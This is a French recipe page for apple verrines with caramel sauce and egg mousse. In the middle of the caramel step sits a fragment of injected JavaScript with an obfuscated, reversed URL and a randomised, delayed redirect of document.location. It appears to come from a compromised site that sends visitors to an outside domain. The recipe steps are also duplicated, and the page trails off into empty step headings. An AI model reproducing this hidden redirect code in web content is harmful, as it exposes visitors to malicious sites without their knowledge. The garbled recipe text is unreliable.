Verrines aux pommes et coulis au caramel
2021-04-13- Cuisine : Verrine
- Thématique : Végétarien
- Niveau : Difficile
Faites le caramel en faisant chauffer à sec le sucre en poudre sur feu vif. Quand il devient liquide, incorporez le beurre.
Hors du feu ajoutez la crème fleurette, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant faites cuire pendant 10 minutes sur feu doux. Réservez. Pelez, coupez en petits cubes les pommes, les citronner pour éviter qu’elles noircissent.
Ingrédients
Faites le caramel en faisant chauffer à sec le sucre en poudre sur feu vif. Quand il devient liquide, incorporez le beurre.
Hors du feu ajoutez la crème fleurette, tout en remuant faites cuire pendant 10 minutes sur feu doux. Réservez. Pelez, coupez en petits cubes les pommes, les citronner pour éviter qu'elles noircissent.
Faites les cuire dans le beurre et le sucre en poudre jusqu'à ce qu'elles soient dorées. Préparez la mousse en mélangeant les œufs entiers avec le sucre jusqu'à obtenir un mélange mousseux.
Montez les blancs en neige, avec 1 pincée de sel fin, et les incorporez délicatement avec une spatule en bois, dans les jaunes et le sucre en poudre.
Déposez 1 cuillère à soupe de pommes dans chaque verrine, nappez d'une cuillère à soupe de caramel. Ajoutez une cuillère à soupe de mousse. Renouvelez l'opération.
Dégustez frais
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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